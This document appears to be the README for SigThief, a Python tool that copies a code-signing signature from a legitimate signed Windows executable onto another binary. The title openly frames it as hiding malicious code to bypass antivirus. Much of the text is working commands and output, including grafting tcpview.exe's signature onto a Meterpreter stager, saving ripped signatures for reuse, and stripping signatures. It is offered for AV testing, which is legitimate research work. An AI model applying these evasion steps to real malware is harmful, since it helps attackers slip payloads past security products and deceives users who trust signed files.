SigThief: hide malicious code for bypassing AV
SigThief
What is this?
I’ve noticed during testing against Anti-Virus over the years that each is different and each prioritizes PE signatures differently, whether the signature is valid or not. There are some Anti-Virus vendors that give priority to certain certificate authorities without checking that the signature is actually valid, and there are those that just check to see that the certTable is populated with some value. It’s a mess.
So I’m releasing this tool to let you quickly do your testing and feel free to report it to vendors or not.
In short, it will rip a signature off a signed PE file and append it to another one, fixing up the certificate table to sign the file.
Of course, it’s not a valid signature and that’s the point!
I look forward to hearing about your results!
Download
git clone https://github.com/secretsquirrel/SigThief.git
Usage
Usage: sigthief.py [options]
Options:
-h, –help show this help message and exit
-i FILE, –file=FILE file still signature from
-r, –rip rip signature off inputfile
-a, –add add signautre to targetfile
-o OUTPUTFILE, –output=OUTPUTFILE
output file
-s SIGFILE, –sig=SIGFILE
binary signature from disk
-t TARGETFILE, –target=TARGETFILE
file to append signature too
-c, –checksig file to check if signed; does not verify signature
-T, –truncate truncate signature (i.e. remove sig)
Take a Signature from a binary and add it to another binary
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.
Save Signature to disk for use later
$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
Use the ripped signature
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
Truncate (remove) signature
This has really interesting results actually, can help you find AVs that value Signatures over the functionality of the code. Unsign putty.exe 😉
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
Check if there is a signature (does not check validity)
$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!
